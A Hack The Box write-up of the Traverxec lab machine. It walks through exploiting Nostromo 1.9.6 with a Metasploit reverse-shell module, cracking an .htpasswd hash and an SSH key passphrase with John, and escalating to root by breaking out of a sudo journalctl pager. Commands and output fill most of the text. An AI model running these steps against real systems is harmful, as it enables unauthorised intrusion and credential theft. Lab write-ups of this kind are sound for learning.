HTB Traverxec writeup

‘Easy’ machine, user was a bit of a challenge, rooting was easier. The process is: Scan –> Initial foothold –> Own User –> Own Root.

Initial Scan

# added to hosts as 10.10.10.165    Traverxec
$ sudo nmap -sV -sC -sT -O -o nmapinitial Traverxec

Scan results

Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-29 13:51 CET
Nmap scan report for Traverxec (10.10.10.165)
Host is up (0.12s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.18 (90%), Crestron XPanel control system (90%), Linux 3.16 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.66 seconds

We got an OpenSSH server and a webserver running Nostrodomo. The website on port 80 looks like a generic personal website, nothing interesing after a quick look.

Website on port 80

Let's start by getting more information about the webserver, I had never seen it before. After a quick Google search we find the changelog in the official website, where the author states a Remote Code Executon vulnerability has been fixed in version 1.9.7 (our target is using 1.9.6 :D), and a Port Swigger blog post giving us more details about the vulnerability, and a metasploit module.

Lets try with Metasploit, and see what we can do:

~/htb/Traverxec$ msfconsole

       =[ metasploit v5.0.65-dev                          ]
+ -- --=[ 1955 exploits - 1092 auxiliary - 336 post       ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > search nostromo

Matching Modules
================

   #  Name                                   Disclosure Date  Rank  Check  Description
   -  ----                                   ---------------  ----  -----  -----------
   0  exploit/multi/http/nostromo_code_exec  2019-10-20       good  Yes    Nostromo Directory Traversal Remote Command Execution


msf5 > info exploit/multi/http/nostromo_code_exec

       Name: Nostromo Directory Traversal Remote Command Execution
     Module: exploit/multi/http/nostromo_code_exec
   Platform: Linux, Unix
       Arch: cmd, x86, x64, mipsbe, mipsle, armle, aarch64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2019-10-20

Provided by:
  Quentin Kaiser <kaiserquentin@gmail.com>
  sp0re

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Automatic (Unix In-Memory)
  1   Automatic (Linux Dropper)

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    80               yes       The target port (TCP)
  SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL/TLS for outgoing connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)
  VHOST                     no        HTTP server virtual host

Payload information:

Description:
  This module exploits a remote command execution vulnerability in
  Nostromo <= 1.9.6. This issue is caused by a directory traversal in
  the function `http_verify` in nostromo nhttpd allowing an attacker
  to achieve remote code execution via a crafted HTTP request.

References:
  https://cvedetails.com/cve/CVE-2019-16278/
  https://www.sudokaikan.com/2019/10/cve-2019-16278-unauthenticated-remote.html

msf5 >

Initial foothold

Looks promising, lets configure and launch it.

msf5 > use exploit/multi/http/nostromo_code_exec
msf5 exploit(multi/http/nostromo_code_exec) > show options

Module options (exploit/multi/http/nostromo_code_exec):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    80               yes       The target port (TCP)
   SRVHOST  0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)
   VHOST                     no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (Unix In-Memory)


msf5 exploit(multi/http/nostromo_code_exec) > set RHOSTS Traverxec
RHOSTS => Traverxec
msf5 exploit(multi/http/nostromo_code_exec) > set SRVHOST 10.10.14.58
SRVHOST => 10.10.14.58
msf5 exploit(multi/http/nostromo_code_exec) > set LHOST 10.10.14.58
LHOST => 10.10.14.58
msf5 exploit(multi/http/nostromo_code_exec) > run

[*] Started reverse TCP handler on 10.10.14.58:4444
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.10.14.58:4444 -> 10.10.10.165:38706) at 2019-12-29 15:44:48 +0100

>whoami
www-data

User

We got a low level shell, lets try to escalate to user. Nostromus files are stored inside /var/nostromo. Inside the conf folder, there is the main server configuration file:

# MAIN [MANDATORY]

servername              traverxec.htb
serverlisten            *
serveradmin             david@traverxec.htb
serverroot              /var/nostromo
servermimes             conf/mimes
docroot                 /var/nostromo/htdocs
docindex                index.html

# LOGS [OPTIONAL]

logpid                  logs/nhttpd.pid

# SETUID [RECOMMENDED]

user                    www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons                  /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

Lets see what the referenced .htpasswd file contains.

$ cat .ht*
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/

Looks like we have an username and a hashed password. Let's give it some love with John.

~/htb/Traverxec$ echo 'david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/' >pw
~/htb/Traverxec$ john --wordlist=/usr/share/wordlist/rockyou.txt pw

And we get a match!

Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:26 17.34% (ETA: 19:48:51) 0g/s 103374p/s 103374c/s 103374C/s wright1998..wrestler!
0g 0:00:00:58 41.59% (ETA: 19:48:41) 0g/s 103119p/s 103119c/s 103119C/s lotismaster..lota57
0g 0:00:01:42 74.27% (ETA: 19:48:39) 0g/s 102371p/s 102371c/s 102371C/s SINGLE187..SIMORO
Nowonly4me       (david)
1g 0:00:01:43 DONE (2019-12-29 19:48) 0.009674g/s 102345p/s 102345c/s 102345C/s Noyoudo..Nous4=5
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We cannot use the passwordlo log in via SSH or using su. Looking at the configuration again, we can see that homedirs are enabled, which means we should be able to access the users files via HTTP.

Navigating to http://Traverxec/~david/ returns the following page, which corresponds with the path /home/david/public_www.

David's homepage

Listing the directory from our shell returns:

$ ls /home/david/public_www/
ls /home/david/public_www
index.html
protected-file-area

$ ls /home/david/public_www/protected_file_area
backup-ssh-identity-files.tgz

So we can access http://Traverxec/~david/protected_file_area/backup-ssh-identity-files.tgz to download the keys backup, using the username and password that we got previously.

Let's extract the files and see what we got

~/htb/Traverxec$ tar xf backup-ssh-identity-files.tgz

~/htb/Traverxec$ ls home/david/.ssh/
authorized_keys  id_rsa           id_rsa.pub

~/htb/Traverxec$ cd home/david/.ssh
~/htb/Traverxec/home/david/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,477EEFFBA56F9D283D349033D5D08C4F

seyeH/feG19TlUaMdvHZK/2qfy8pwwdr9sg75x4hPpJJ8YauhWorCN4LPJV+wfCG
[....]

Looks like we got a private key, but it is encrypted. Lets use john to crack it.

~/htb/Traverxec/home/david/.ssh$ /usr/share/john/ssh2john.py id_rsa >pw
~/htb/Traverxec/home/david/.ssh$ john --wordlist=/usr/share/wordlists/rockyou.txt pw
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (id_rsa)
1g 0:00:00:05 60.25% (ETA: 21:01:17) 0.1672g/s 1452Kp/s 1452Kc/s 1452KC/s demik1895..demij208
Session aborted

Got the password, lets try to log in via SSH.

~/htb/Traverxec/home/david/.ssh$ ssh david@Traverxec -i id_rsa
Enter passphrase for key 'id_rsa':
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Sun Dec 29 15:05:45 2019 from 10.10.15.XX
david@traverxec:~$ cat user.txt
7db0b4*************************

And we owned user.

Root

Looking inside the /home/david/bin directory, we can see the following script:

david@traverxec:~/bin$ cat server-stats.sh
#!/bin/bash
cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat

The last line is interesting: journalctl requires super user privileges in order to retrieve the information, and using sudo normally requires our password (which is unkown), but the command works. How? It looks like there is an exception somewhere that allows the command to run, but any variant is not allowed.

We know there is a GTFObin that allows us to exploit the fact that journalctl is running privileged. When the output is big, journalctl uses less for paging in our server, which allows as to easily change to root using just by typing !/bin/bash.

In order to force journalctl to use paging, we will remove the pipe part of the command, so the output goes directly to the console, and we will reduce the width of our terminal to just a few columns.

david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
-- Logs begin at Sun 2019-12-29 20:18:00 EST, end at Sun
Dec 29 20:18:04 traverxec systemd[1]: Starting nostromo n
Dec 29 20:18:04 traverxec systemd[1]: nostromo.service: C
Dec 29 20:18:04 traverxec nhttpd[458]: started
Dec 29 20:18:04 traverxec nhttpd[458]: max. file descript
Dec 29 20:18:04 traverxec systemd[1]: Started nostromo nh
!/bin/bash
root@traverxec:/home/david/bin# cat /root/root.txt
9aa36a*************************

And we owned root!